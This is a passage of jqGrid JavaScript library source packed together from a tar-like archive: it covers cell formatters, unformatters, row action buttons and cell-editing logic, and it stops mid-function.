if (!items.is(dragging) && options.connectWith !== $(dragging).parent().data('connectWith')) { return true; } if (e.type === 'drop') { e.stopPropagation(); placeholders.filter(':visible').after(dragging); dragging.trigger('dragend.h5s'); return false; } e.preventDefault(); e.originalEvent.dataTransfer.dropEffect = 'move'; if (items.is(this)) { if (options.forcePlaceholderSize) { placeholder.height(dragging.outerHeight()); } dragging.hide(); $(this)[placeholder.index() < $(this).index() ? 'after' : 'before'](placeholder); placeholders.not(placeholder).detach(); } else if (!placeholders.is(this) && !$(this).children(options.items).length) { placeholders.detach(); $(this).append(placeholder); } return false; }); }); }; //module end }));jquery.fmatter.js000064400000045762151677266200010114 0ustar00/* ** * formatter for values but most of the values if for jqGrid * Some of this was inspired and based on how YUI does the table datagrid but in jQuery fashion * we are trying to keep it as light as possible * Joshua Burnett josh@9ci.com * http://www.greenbill.com * * Changes from Tony Tomov tony@trirand.com * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl-2.0.html * **/ /*jshint eqeqeq:false */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.fmatter = {}; //opts can be id:row id for the row, rowdata:the data for the row, colmodel:the column model for this column //example {id:1234,} $.extend($.fmatter,{ isBoolean : function(o) { return typeof o === 'boolean'; }, isObject : function(o) { return (o && (typeof o === 'object' || $.jgrid.isFunction(o))) || false; }, isString : function(o) { return typeof o === 'string'; }, isNumber : function(o) { return typeof o === 'number' && isFinite(o); }, isValue : function (o) { return (this.isObject(o) || this.isString(o) || this.isNumber(o) || this.isBoolean(o)); }, isEmpty : function(o) { if(!this.isString(o) && this.isValue(o)) { return false; } if (!this.isValue(o)){ return true; } o = $.jgrid.trim(o).replace(/\ \;/ig,'').replace(/\ \;/ig,''); return o===""; } }); $.fn.fmatter = function(formatType, cellval, opts, rwd, act) { // build main options before element iteration var v=cellval; opts = $.extend({}, $.jgrid.getRegional(this, 'formatter') , opts); try { v = $.fn.fmatter[formatType].call(this, cellval, opts, rwd, act); } catch(fe){} return v; }; $.fmatter.util = { // Taken from YAHOO utils NumberFormat : function(nData,opts) { if(!$.fmatter.isNumber(nData)) { nData *= 1; } if($.fmatter.isNumber(nData)) { var bNegative = (nData < 0); var sOutput = String(nData); var sDecimalSeparator = opts.decimalSeparator || "."; var nDotIndex; if($.fmatter.isNumber(opts.decimalPlaces)) { // Round to the correct decimal place var nDecimalPlaces = opts.decimalPlaces; //var nDecimal = Math.pow(10, nDecimalPlaces); //sOutput = String(Math.round(nData*nDecimal)/nDecimal); // see http://www.jacklmoore.com/notes/rounding-in-javascript/ sOutput = String(Number(Math.round(nData+'e'+nDecimalPlaces)+'e-'+nDecimalPlaces)); nDotIndex = sOutput.lastIndexOf("."); if(nDecimalPlaces > 0) { // Add the decimal separator if(nDotIndex < 0) { sOutput += sDecimalSeparator; nDotIndex = sOutput.length-1; } // Replace the "." else if(sDecimalSeparator !== "."){ sOutput = sOutput.replace(".",sDecimalSeparator); } // Add missing zeros while((sOutput.length - 1 - nDotIndex) < nDecimalPlaces) { sOutput += "0"; } } } if(opts.thousandsSeparator) { var sThousandsSeparator = opts.thousandsSeparator; nDotIndex = sOutput.lastIndexOf(sDecimalSeparator); nDotIndex = (nDotIndex > -1) ? nDotIndex : sOutput.length; var sNewOutput = sOutput.substring(nDotIndex); var nCount = -1, i; for (i=nDotIndex; i>0; i--) { nCount++; if ((nCount%3 === 0) && (i !== nDotIndex) && (!bNegative || (i > 1))) { sNewOutput = sThousandsSeparator + sNewOutput; } sNewOutput = sOutput.charAt(i-1) + sNewOutput; } sOutput = sNewOutput; } // Prepend prefix sOutput = (opts.prefix) ? opts.prefix + sOutput : sOutput; // Append suffix sOutput = (opts.suffix) ? sOutput + opts.suffix : sOutput; return sOutput; } return nData; } }; $.fn.fmatter.defaultFormat = function(cellval, opts) { return ($.fmatter.isValue(cellval) && cellval!=="" ) ? cellval : opts.defaultValue || " "; }; $.fn.fmatter.email = function(cellval, opts) { if(!$.fmatter.isEmpty(cellval)) { return "<a href=\"mailto:" + cellval + "\">" + cellval + "</a>"; } return $.fn.fmatter.defaultFormat(cellval,opts ); }; $.fn.fmatter.checkbox =function(cval, opts) { var op = $.extend({},opts.checkbox), ds, checkboxVal, valtrue, valfalse, lang = Object.keys($.jgrid.regional)[0], title; if(opts.colModel !== undefined && opts.colModel.formatoptions !== undefined) { op = $.extend({},op,opts.colModel.formatoptions); } if(op.disabled===true) {ds = "disabled=\"disabled\"";} else {ds="";} if($.fmatter.isEmpty(cval) || cval === undefined ) {cval = $.fn.fmatter.defaultFormat(cval,op);} cval=String(cval); cval=(cval+"").toLowerCase(); var bchk = cval.search(/(false|f|0|no|n|off|undefined)/i)<0 ? " checked='checked' " : ""; checkboxVal = $.jgrid.regional[lang].defaults.valueCheckbox; valtrue= $.jgrid.regional[lang].defaults.valT; valfalse= $.jgrid.regional[lang].defaults.valF; if((checkboxVal !== undefined) && (cval==="true")) { title = checkboxVal + " " + valtrue; } else if (checkboxVal !== undefined && cval==="false") { title = checkboxVal+ " " + valfalse; } else { title = cval; } return "<input title=\""+title+"\" type=\"checkbox\" " + bchk + " value=\""+ cval+"\" offval=\"no\" "+ds+ "/>"; }; $.fn.fmatter.link = function(cellval, opts) { var op = {target:opts.target}; var target = ""; if(opts.colModel !== undefined && opts.colModel.formatoptions !== undefined) { op = $.extend({},op,opts.colModel.formatoptions); } if(op.target) {target = 'target=' + op.target;} if(!$.fmatter.isEmpty(cellval)) { return "<a "+target+" href=\"" + cellval + "\">" + cellval + "</a>"; } return $.fn.fmatter.defaultFormat(cellval,opts); }; $.fn.fmatter.showlink = function(cellval, opts) { var op = {baseLinkUrl: opts.baseLinkUrl,showAction:opts.showAction, addParam: opts.addParam || "", target: opts.target, idName: opts.idName}, target = "", idUrl; if(opts.colModel !== undefined && opts.colModel.formatoptions !== undefined) { op = $.extend({},op,opts.colModel.formatoptions); } if(op.target) {target = 'target=' + op.target;} idUrl = op.baseLinkUrl+op.showAction + '?'+ op.idName+'='+opts.rowId+op.addParam; if($.fmatter.isString(cellval) || $.fmatter.isNumber(cellval)) { //add this one even if its blank string return "<a "+target+" href=\"" + idUrl + "\">" + cellval + "</a>"; } return $.fn.fmatter.defaultFormat(cellval,opts); }; $.fn.fmatter.integer = function(cellval, opts) { var op = $.extend({},opts.integer); if(opts.colModel !== undefined && opts.colModel.formatoptions !== undefined) { op = $.extend({},op,opts.colModel.formatoptions); } if($.fmatter.isEmpty(cellval)) { return op.defaultValue; } return $.fmatter.util.NumberFormat(cellval,op); }; $.fn.fmatter.number = function (cellval, opts) { var op = $.extend({},opts.number); if(opts.colModel !== undefined && opts.colModel.formatoptions !== undefined) { op = $.extend({},op,opts.colModel.formatoptions); } if($.fmatter.isEmpty(cellval)) { return op.defaultValue; } return $.fmatter.util.NumberFormat(cellval,op); }; $.fn.fmatter.currency = function (cellval, opts) { var op = $.extend({},opts.currency); if(opts.colModel !== undefined && opts.colModel.formatoptions !== undefined) { op = $.extend({},op,opts.colModel.formatoptions); } if($.fmatter.isEmpty(cellval)) { return op.defaultValue; } return $.fmatter.util.NumberFormat(cellval,op); }; $.fn.fmatter.date = function (cellval, opts, rwd, act) { var op = $.extend({},opts.date); if(opts.colModel !== undefined && opts.colModel.formatoptions !== undefined) { op = $.extend({},op,opts.colModel.formatoptions); } if(!op.reformatAfterEdit && act === 'edit'){ return $.fn.fmatter.defaultFormat(cellval, opts); } if(!$.fmatter.isEmpty(cellval)) { return $.jgrid.parseDate.call(this, op.srcformat,cellval,op.newformat,op); } return $.fn.fmatter.defaultFormat(cellval, opts); }; $.fn.fmatter.select = function (cellval,opts) { // jqGrid specific cellval = String(cellval); var oSelect = false, ret=[], sep, delim; if(opts.colModel.formatoptions !== undefined){ oSelect= opts.colModel.formatoptions.value; sep = opts.colModel.formatoptions.separator === undefined ? ":" : opts.colModel.formatoptions.separator; delim = opts.colModel.formatoptions.delimiter === undefined ? ";" : opts.colModel.formatoptions.delimiter; } else if(opts.colModel.editoptions !== undefined){ oSelect= opts.colModel.editoptions.value; sep = opts.colModel.editoptions.separator === undefined ? ":" : opts.colModel.editoptions.separator; delim = opts.colModel.editoptions.delimiter === undefined ? ";" : opts.colModel.editoptions.delimiter; } if (oSelect) { var msl = (opts.colModel.editoptions != null && opts.colModel.editoptions.multiple === true) === true ? true : false, scell = [], sv; if(msl) {scell = cellval.split(",");scell = $.map(scell,function(n){return $.jgrid.trim(n);});} if ($.fmatter.isString(oSelect)) { // mybe here we can use some caching with care ???? var so = oSelect.split(delim), j=0, i; for(i=0; i<so.length;i++){ sv = so[i].split(sep); if(sv.length > 2 ) { sv[1] = $.map(sv,function(n,i){if(i>0) {return n;}}).join(sep); } if(msl) { if($.inArray(sv[0],scell)>-1) { ret[j] = sv[1]; j++; } } else if($.jgrid.trim(sv[0]) === $.jgrid.trim(cellval)) { ret[0] = sv[1]; break; } } } else if($.fmatter.isObject(oSelect)) { // this is quicker if(msl) { ret = $.map(scell, function(n){ return oSelect[n]; }); } else { ret[0] = oSelect[cellval] || ""; } } } cellval = ret.join(", "); return cellval === "" ? $.fn.fmatter.defaultFormat(cellval,opts) : cellval; }; $.fn.fmatter.rowactions = function(act) { var $tr = $(this).closest("tr.jqgrow"), rid = $tr.attr("id"), $id = $(this).closest("table.ui-jqgrid-btable").attr('id').replace(/_frozen([^_]*)$/,'$1'), $grid = $("#"+$id), $t = $grid[0], p = $t.p, cm = p.colModel[$.jgrid.getCellIndex(this)], $actionsDiv = cm.frozen ? $("tr#"+rid+" td", $grid).eq( $.jgrid.getCellIndex(this) ).find("> div") :$(this).parent(), op = { extraparam: {} }, saverow = function(rowid, res) { if($.jgrid.isFunction(op.afterSave)) { op.afterSave.call($t, rowid, res); } $actionsDiv.find("div.ui-inline-edit,div.ui-inline-del").show(); $actionsDiv.find("div.ui-inline-save,div.ui-inline-cancel").hide(); }, restorerow = function(rowid) { if($.jgrid.isFunction(op.afterRestore)) { op.afterRestore.call($t, rowid); } $actionsDiv.find("div.ui-inline-edit,div.ui-inline-del").show(); $actionsDiv.find("div.ui-inline-save,div.ui-inline-cancel").hide(); }; if (cm.formatoptions !== undefined) { // Deep clone before copying over to op, to avoid creating unintentional references. // Otherwise, the assignment of op.extraparam[p.prmNames.oper] below may persist into the colModel config. var formatoptionsClone = $.extend(true, {}, cm.formatoptions); op = $.extend(op, formatoptionsClone); } if (p.editOptions !== undefined) { op.editOptions = p.editOptions; } if (p.delOptions !== undefined) { op.delOptions = p.delOptions; } if ($tr.hasClass("jqgrid-new-row")){ op.extraparam[p.prmNames.oper] = p.prmNames.addoper; } var actop = { keys: op.keys, oneditfunc: op.onEdit, successfunc: op.onSuccess, url: op.url, extraparam: op.extraparam, aftersavefunc: saverow, errorfunc: op.onError, afterrestorefunc: restorerow, restoreAfterError: op.restoreAfterError, mtype: op.mtype }; switch(act) { case 'edit': $grid.jqGrid('editRow', rid, actop); if($grid[0].p.beforeAction) { $actionsDiv.find("div.ui-inline-edit,div.ui-inline-del").hide(); $actionsDiv.find("div.ui-inline-save,div.ui-inline-cancel").show(); $grid.triggerHandler("jqGridAfterGridComplete"); } break; case 'save': if ($grid.jqGrid('saveRow', rid, actop)) { $actionsDiv.find("div.ui-inline-edit,div.ui-inline-del").show(); $actionsDiv.find("div.ui-inline-save,div.ui-inline-cancel").hide(); $grid.triggerHandler("jqGridAfterGridComplete"); } break; case 'cancel' : $grid.jqGrid('restoreRow', rid, restorerow); $actionsDiv.find("div.ui-inline-edit,div.ui-inline-del").show(); $actionsDiv.find("div.ui-inline-save,div.ui-inline-cancel").hide(); $grid.triggerHandler("jqGridAfterGridComplete"); break; case 'del': $grid.jqGrid('delGridRow', rid, op.delOptions); break; case 'formedit': $grid.jqGrid('setSelection', rid); $grid.jqGrid('editGridRow', rid, op.editOptions); break; } }; $.fn.fmatter.actions = function(cellval,opts) { var op={keys:false, editbutton:true, delbutton:true, editformbutton: false}, rowid=opts.rowId, str="",ocl, nav = $.jgrid.getRegional(this, 'nav'), classes = $.jgrid.styleUI[(opts.styleUI || 'jQueryUI')].fmatter, common = $.jgrid.styleUI[(opts.styleUI || 'jQueryUI')].common; if(opts.colModel.formatoptions !== undefined) { op = $.extend(op,opts.colModel.formatoptions); } if(rowid === undefined || $.fmatter.isEmpty(rowid)) {return "";} var hover = "onmouseover=jQuery(this).addClass('" + common.hover +"'); onmouseout=jQuery(this).removeClass('" + common.hover +"'); "; if(op.editformbutton){ ocl = "id='jEditButton_"+rowid+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'formedit'); " + hover; str += "<div title='"+nav.edittitle+"' style='float:left;cursor:pointer;' class='ui-pg-div ui-inline-edit' "+ocl+"><span class='" + common.icon_base +" "+classes.icon_edit +"'></span></div>"; } else if(op.editbutton){ ocl = "id='jEditButton_"+rowid+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'edit'); " + hover; str += "<div title='"+nav.edittitle+"' style='float:left;cursor:pointer;' class='ui-pg-div ui-inline-edit' "+ocl+"><span class='" + common.icon_base +" "+classes.icon_edit +"'></span></div>"; } if(op.delbutton) { ocl = "id='jDeleteButton_"+rowid+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'del'); " + hover; str += "<div title='"+nav.deltitle+"' style='float:left;' class='ui-pg-div ui-inline-del' "+ocl+"><span class='" + common.icon_base +" "+classes.icon_del +"'></span></div>"; } ocl = "id='jSaveButton_"+rowid+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'save'); " + hover; str += "<div title='"+nav.savetitle+"' style='float:left;display:none' class='ui-pg-div ui-inline-save' "+ocl+"><span class='" + common.icon_base +" "+classes.icon_save +"'></span></div>"; ocl = "id='jCancelButton_"+rowid+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'cancel'); " + hover; str += "<div title='"+nav.canceltitle+"' style='float:left;display:none;' class='ui-pg-div ui-inline-cancel' "+ocl+"><span class='" + common.icon_base +" "+classes.icon_cancel +"'></span></div>"; return "<div class='jqgrid_actions' style='margin-left:8px;'>" + str + "</div>"; }; $.unformat = function (cellval,options,pos,cnt) { // specific for jqGrid only var ret, formatType = options.colModel.formatter, op =options.colModel.formatoptions || {}, sep, re = /([\.\*\_\'\(\)\{\}\+\?\\])/g, unformatFunc = options.colModel.unformat||($.fn.fmatter[formatType] && $.fn.fmatter[formatType].unformat); if(unformatFunc !== undefined && $.jgrid.isFunction(unformatFunc) ) { ret = unformatFunc.call(this, $(cellval).text(), options, cellval); } else if(formatType !== undefined && $.fmatter.isString(formatType) ) { var opts = $.jgrid.getRegional(this, 'formatter') || {}, stripTag; switch(formatType) { case 'integer' : op = $.extend({},opts.integer,op); sep = op.thousandsSeparator.replace(re,"\\$1"); stripTag = new RegExp(sep, "g"); ret = $(cellval).text().replace(stripTag,''); break; case 'number' : op = $.extend({},opts.number,op); sep = op.thousandsSeparator.replace(re,"\\$1"); stripTag = new RegExp(sep, "g"); ret = $(cellval).text().replace(stripTag,"").replace(op.decimalSeparator,'.'); break; case 'currency': op = $.extend({},opts.currency,op); sep = op.thousandsSeparator.replace(re,"\\$1"); stripTag = new RegExp(sep, "g"); ret = $(cellval).text(); if (op.prefix && op.prefix.length) { ret = ret.slice(op.prefix.length); } if (op.suffix && op.suffix.length) { ret = ret.slice(0, ret.length - op.suffix.length); } ret = ret.replace(stripTag,'').replace(op.decimalSeparator,'.'); break; case 'checkbox': var cbv = (options.colModel.editoptions) ? options.colModel.editoptions.value.split(":") : ["Yes","No"]; ret = $('input',cellval).is(":checked") ? cbv[0] : cbv[1]; break; case 'select' : ret = $.unformat.select(cellval,options,pos,cnt); break; case 'actions': return ""; default: ret= $(cellval).text(); } } return ret !== undefined ? ret : cnt===true ? $(cellval).text() : $.jgrid.htmlDecode($(cellval).html()); }; $.unformat.select = function (cellval,options,pos,cnt) { // Spacial case when we have local data and perform a sort // cnt is set to true only in sortDataArray var ret = []; var cell = $(cellval).text(); if(cnt===true) {return cell;} var op = $.extend({}, options.colModel.formatoptions !== undefined ? options.colModel.formatoptions: options.colModel.editoptions), sep = op.separator === undefined ? ":" : op.separator, delim = op.delimiter === undefined ? ";" : op.delimiter; if(op.value){ var oSelect = op.value, msl = op.multiple === true ? true : false, scell = [], sv; if(msl) {scell = cell.split(",");scell = $.map(scell,function(n){return $.jgrid.trim(n);});} if ($.fmatter.isString(oSelect)) { var so = oSelect.split(delim), j=0, i; for(i=0; i<so.length;i++){ sv = so[i].split(sep); if(sv.length > 2 ) { sv[1] = $.map(sv,function(n,i){if(i>0) {return n;}}).join(sep); } if(op.decodeValue && op.decodeValue===true) { sv[1] = $.jgrid.htmlDecode(sv[1]); } if(msl) { if($.inArray($.jgrid.trim(sv[1]),scell)>-1) { ret[j] = sv[0]; j++; } } else if($.jgrid.trim(sv[1]) === $.jgrid.trim(cell)) { ret[0] = sv[0]; break; } } } else if( $.fmatter.isObject(oSelect) || Array.isArray(oSelect) ){ if(!msl) {scell[0] = cell;} ret = $.map(scell, function(n){ var rv; $.each(oSelect, function(i,val){ if (val === n) { rv = i; return false; } }); if( rv !== undefined ) {return rv;} }); } return ret.join(", "); } return cell || ""; }; $.unformat.date = function (cellval, opts) { var op = $.jgrid.getRegional(this, 'formatter.date') || {}; if(opts.formatoptions !== undefined) { op = $.extend({},op,opts.formatoptions); } if(!$.fmatter.isEmpty(cellval)) { return $.jgrid.parseDate.call(this, op.newformat,cellval,op.srcformat,op); } return $.fn.fmatter.defaultFormat(cellval, opts); }; //module end })); grid.celledit.js000064400000063125151677266200007636 0ustar00/*jshint eqeqeq:false */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { /** * all events and options here are aded anonynous and not in the base grid * since the array is to big. Here is the order of execution. * From this point we use jQuery isFunction * formatCell * beforeEditCell, * onCellSelect (used only for noneditable cels) * afterEditCell, * beforeSaveCell, (called before validation of values if any) * beforeSubmitCell (if cellsubmit remote (ajax)) * onSubmitCell * afterSubmitCell(if cellsubmit remote (ajax)), * afterSaveCell, * errorCell, * validationCell * serializeCellData - new * Options * cellsubmit (remote,clientArray) (added in grid options) * cellurl * ajaxCellOptions * restoreCellonFail * */ "use strict"; //module begin $.jgrid.extend({ editCell : function (iRow,iCol, ed, event, excel){ return this.each(function (){ var $t = this, nm, tmp,cc, cm, highlight = $(this).jqGrid('getStyleUI',$t.p.styleUI+'.common','highlight', true), disabled = $(this).jqGrid('getStyleUI',$t.p.styleUI+'.common','disabled', true), hover = !$t.p.ariaBody ? $(this).jqGrid('getStyleUI',$t.p.styleUI+'.common','hover', true) : "", inpclass = $(this).jqGrid('getStyleUI',$t.p.styleUI+".celledit",'inputClass', true), selclass = $(this).jqGrid('getStyleUI',$t.p.styleUI+".celledit",'selectClass', true); if (!$t.grid || $t.p.cellEdit !== true) {return;} if ( $($t.rows[iRow]).hasClass(disabled) ) {return;} iCol = parseInt(iCol,10); // select the row that can be used for other methods $t.p.selrow = $t.rows[iRow].id; if (!$t.p.knv && !$t.p.ariaBody) {$($t).jqGrid("GridNav");} // check to see if we have already edited cell if ($t.p.savedRow.length>0) { // prevent second click on that field and enable selects if (ed===true ) { if(iRow == $t.p.iRow && iCol == $t.p.iCol){ return; } } // save the cell $($t).jqGrid("saveCell",$t.p.savedRow[0].id,$t.p.savedRow[0].ic); } else { window.setTimeout(function () { $("#"+$.jgrid.jqID($t.p.knv)).attr("tabindex","-1").focus();},1); } cm = $t.p.colModel[iCol]; nm = cm.name; if (nm==='subgrid' || nm==='cb' || nm==='rn' || nm==='sc') {return;} try { cc = $($t.rows[iRow].cells[iCol]); } catch(e) { cc = $("td",$t.rows[iRow]).eq( iCol ); } if(parseInt($t.p.iCol,10)>=0 && parseInt($t.p.iRow,10)>=0 && $t.p.iRowId !== undefined) { var therow = $($t).jqGrid('getGridRowById', $t.p.iRowId); //$("td:eq("+$t.p.iCol+")",$t.rows[$t.p.iRow]).removeClass("edit-cell " + highlight); $(therow).removeClass("selected-row " + hover).find("td").eq( $t.p.iCol ).removeClass("edit-cell " + highlight); } cc.addClass("edit-cell " + highlight); $($t.rows[iRow]).addClass("selected-row " + hover); if (cm.editable===true && ed===true && !cc.hasClass("not-editable-cell") && (!$.jgrid.isFunction($t.p.isCellEditable) || $t.p.isCellEditable.call($t,nm,iRow,iCol))) { try { tmp = $.unformat.call($t,cc,{rowId: $t.rows[iRow].id, colModel:cm},iCol); } catch (_) { tmp = ( cm.edittype && cm.edittype === 'textarea' ) ? cc.text() : cc.html(); } if($t.p.autoencode) { tmp = $.jgrid.htmlDecode(tmp); } if (!cm.edittype) {cm.edittype = "text";} $t.p.savedRow.push({id:iRow, ic:iCol, name:nm, v:tmp, rowId: $t.rows[iRow].id }); try { if(tmp === " " || tmp === " " || (tmp.length===1 && tmp.charCodeAt(0)===160) ) {tmp='';} } catch (etmp){} if($.jgrid.isFunction($t.p.formatCell)) { var tmp2 = $t.p.formatCell.call($t, $t.rows[iRow].id,nm,tmp,iRow,iCol); if(tmp2 !== undefined ) {tmp = tmp2;} } $($t).triggerHandler("jqGridBeforeEditCell", [$t.rows[iRow].id, nm, tmp, iRow, iCol]); if ($.jgrid.isFunction($t.p.beforeEditCell)) { $t.p.beforeEditCell.call($t, $t.rows[iRow].id,nm,tmp,iRow,iCol); } var opt = $.extend({}, cm.editoptions || {} ,{id:iRow+"_"+nm,name:nm,rowId: $t.rows[iRow].id, oper:'edit', module : 'cell'}); if (excel) { tmp = event.key; } var elc = $.jgrid.createEl.call($t,cm.edittype,opt,tmp,true,$.extend({},$.jgrid.ajaxOptions,$t.p.ajaxSelectOptions || {})); if( $.inArray(cm.edittype, ['text','textarea','password']) > -1) { $(elc).addClass(inpclass); } else if(cm.edittype === 'select') { $(elc).addClass(selclass); } cc.html("").append(elc).attr("tabindex","0"); $.jgrid.bindEv.call($t, elc, opt); window.setTimeout(function () { $(elc).focus();},1); $("input, select, textarea",cc).on("keydown",function(e) { var key = e.key; if (e.keyCode === 27) { if($("input.hasDatepicker",cc).length >0) { if( $(".ui-datepicker").is(":hidden") ) { $($t).jqGrid("restoreCell",iRow,iCol); } else { $("input.hasDatepicker",cc).datepicker('hide'); } } else { $($t).jqGrid("restoreCell",iRow,iCol); } } //ESC if (e.keyCode === 13 && e.altKey && this.nodeName === "TEXTAREA") { this.value = this.value + "\r"; e.preventDefault(); return true; } if (e.keyCode === 13 && !e.shiftKey) { e.preventDefault(); $($t).jqGrid("saveCell",iRow,iCol); if(iRow < $t.rows.length-1 && excel) { $($t).jqGrid('focusBodyCell', iRow + 1 , iCol); } else { //setTimeout(function(){ $($t).jqGrid('focusBodyCell', iRow , iCol);},100); } // Prevent default action return false; } //Enter if (e.keyCode === 9 && !excel) { if(!$t.grid.hDiv.loading ) { if (e.shiftKey) { //Shift TAb if($t.p.ariaBody) { $($t).jqGrid("saveCell", iRow , iCol); if(iCol >1 ) { $($t).jqGrid('focusBodyCell', iRow , iCol -1); } } else { var succ2 = $($t).jqGrid("prevCell", iRow, iCol, e); if(!succ2 && $t.p.editNextRowCell) { if(iRow-1 > 0 && $t.rows[iRow-1]) { iRow--; $($t).jqGrid("prevCell", iRow, $t.p.colModel.length, e); } } } } else { if($t.p.ariaBody) { $($t).jqGrid("saveCell", iRow , iCol); if(iCol < $t.p.colModel.length -1) { $($t).jqGrid('focusBodyCell', iRow , iCol + 1); } } else { var succ = $($t).jqGrid("nextCell", iRow, iCol, e); if(!succ && $t.p.editNextRowCell) { if($t.rows[iRow+1]) { iRow++; $($t).jqGrid("nextCell", iRow, 0, e); } } } //Tab } } else { return false; } } if(!excel && $t.p.F2key && $t.p.ariaBody && e.key === 'F2') { $($t).jqGrid("saveCell", iRow , iCol); $($t).jqGrid('focusBodyCell', iRow , iCol); $t.p.F2key = false; } if(excel) { if( key === 'ArrowUp') { $($t).jqGrid("saveCell", iRow , iCol); if(iRow >1 ) { $($t).jqGrid('focusBodyCell', iRow - 1 , iCol); } } if( key === 'ArrowDown' ) { $($t).jqGrid("saveCell", iRow , iCol); if(iRow < $t.p.rows.length-1 ) { $($t).jqGrid('focusBodyCell', iRow + 1 , iCol); } } if( key === 'ArrowLeft') { $($t).jqGrid("saveCell", iRow , iCol); if(iCol >1 ) { $($t).jqGrid('focusBodyCell', iRow , iCol -1); } } if( key === 'ArrowRight' ) { $($t).jqGrid("saveCell", iRow , iCol); if(iCol < $t.p.colModel.length -1) { $($t).jqGrid('focusBodyCell', iRow , iCol + 1); } } if (e.keyCode === 9) { $($t).jqGrid("saveCell", iRow , iCol); if (e.shiftKey) { if(iCol >1 ) { $($t).jqGrid('focusBodyCell', iRow , iCol -1); } } else { if(iCol < $t.p.colModel.length -1) { $($t).jqGrid('focusBodyCell', iRow , iCol + 1); } } } } e.stopPropagation(); }); $($t).triggerHandler("jqGridAfterEditCell", [$t.rows[iRow].id, nm, tmp, iRow, iCol]); if ($.jgrid.isFunction($t.p.afterEditCell)) { $t.p.afterEditCell.call($t, $t.rows[iRow].id,nm,tmp,iRow,iCol); } } else { tmp = cc.html().replace(/\ \;/ig,''); $($t).triggerHandler("jqGridCellSelect", [$t.rows[iRow].id, iCol, tmp, event]); if ($.jgrid.isFunction($t.p.onCellSelect)) { $t.p.onCellSelect.call($t, $t.rows[iRow].id, iCol, tmp, event); } } $t.p.iCol = iCol; $t.p.iRow = iRow; $t.p.iRowId = $t.rows[iRow].id; }); }, saveCell : function (iRow, iCol, over_value){ return this.each(function(){ var $t= this, cm = $t.p.colModel[iCol], nm = cm.name, trow = $($t).jqGrid("getGridRowById", $t.rows[iRow].id), cc = $('td', trow).eq( iCol ), tmp; if(over_value !== undefined ) { tmp = $.unformat.call($t, cc, {rowId: $t.rows[iRow].id, colModel:cm}, iCol); $t.p.savedRow.push( { id:iRow, ic:iCol, name:nm, v: tmp, rowId: $t.rows[iRow].id } ); $t.p.savedValues = {oldvalue: tmp, newvalue: over_value, indexRow : iRow}; } var fr = $t.p.savedRow.length >= 1 ? 0 : null, errors = $.jgrid.getRegional(this, 'errors'), edit =$.jgrid.getRegional(this, 'edit'); if (!$t.grid || $t.p.cellEdit !== true) {return;} if(fr !== null) { var nmjq = $.jgrid.jqID(nm), v, v2, p = $(cc).offset(); if( over_value === undefined ) { switch (cm.edittype) { case "select": if(!cm.editoptions.multiple) { v = $("#"+iRow+"_"+nmjq+" option:selected", trow ).val(); v2 = $("#"+iRow+"_"+nmjq+" option:selected", trow).text(); } else { var sel = $("#"+iRow+"_"+nmjq, trow), selectedText = []; v = $(sel).val(); if(v) { v.join(",");} else { v=""; } $("option:selected",sel).each( function(i,selected){ selectedText[i] = $(selected).text(); } ); v2 = selectedText.join(","); } if(cm.formatter) { v2 = v; } break; case "checkbox": var cbv = ["Yes","No"]; if(cm.editoptions && cm.editoptions.value){ cbv = cm.editoptions.value.split(":"); } v = $("#"+iRow+"_"+nmjq, trow).is(":checked") ? cbv[0] : cbv[1]; v2=v; break; case "password": case "text": case "textarea": case "button" : v = $("#"+iRow+"_"+nmjq, trow).val(); v2=v; break; case 'custom' : try { if(cm.editoptions && $.jgrid.isFunction(cm.editoptions.custom_value)) { v = cm.editoptions.custom_value.call($t, $(".customelement",cc),'get'); if (v===undefined) { throw "e2";} else { v2=v; } } else { throw "e1"; } } catch (e) { if (e==="e1") { $.jgrid.info_dialog(errors.errcap, "function 'custom_value' " + edit.msg.nodefined, edit.bClose, {styleUI : $t.p.styleUI }); } else if (e==="e2") { $.jgrid.info_dialog(errors.errcap, "function 'custom_value' " + edit.msg.novalue, edit.bClose, {styleUI : $t.p.styleUI }); } else {$.jgrid.info_dialog(errors.errcap, e.message, edit.bClose, {styleUI : $t.p.styleUI }); } } break; } } else { if (cm.editable===true && !cc.hasClass("not-editable-cell") && (!$.jgrid.isFunction($t.p.isCellEditable) || $t.p.isCellEditable.call($t,nm,iRow,iCol))) { v = over_value; v2 = v; } else { v = over_value; v2 = v; $t.p.savedRow.splice(0,1); return; } } // The common approach is if nothing changed do not do anything if (v2 !== $t.p.savedRow[fr].v){ var vvv = $($t).triggerHandler("jqGridBeforeSaveCell", [$t.p.savedRow[fr].rowId, nm, v, iRow, iCol]); if (vvv) {v = vvv; v2=vvv;} if ($.jgrid.isFunction($t.p.beforeSaveCell)) { var vv = $t.p.beforeSaveCell.call($t, $t.p.savedRow[fr].rowId, nm, v, iRow, iCol); if (vv) {v = vv; v2=vv;} } var cv = $.jgrid.checkValues.call($t, v, iCol), nuem = false; if(cv[0] === true) { var addpost = $($t).triggerHandler("jqGridBeforeSubmitCell", [$t.p.savedRow[fr].rowId, nm, v, iRow, iCol]) || {}; if ($.jgrid.isFunction($t.p.beforeSubmitCell)) { addpost = $t.p.beforeSubmitCell.call($t, $t.p.savedRow[fr].rowId, nm, v, iRow, iCol); if (!addpost) {addpost={};} } var retsub = $($t).triggerHandler("jqGridOnSubmitCell", [$t.p.savedRow[fr].rowId, nm, v, iRow, iCol]); if(retsub === undefined) { retsub = true; } if($.jgrid.isFunction($t.p.onSubmitCell) ) { retsub = $t.p.onSubmitCell($t.p.savedRow[fr].rowId, nm, v, iRow, iCol); if( retsub === undefined) { retsub = true; } } if( retsub === false) { return; } if( $("input.hasDatepicker",cc).length >0) { $("input.hasDatepicker",cc).datepicker('hide'); } var postdata = {}; if ($t.p.cellsubmit === 'remote') { if ($t.p.cellurl) { if($t.p.autoencode) { v = 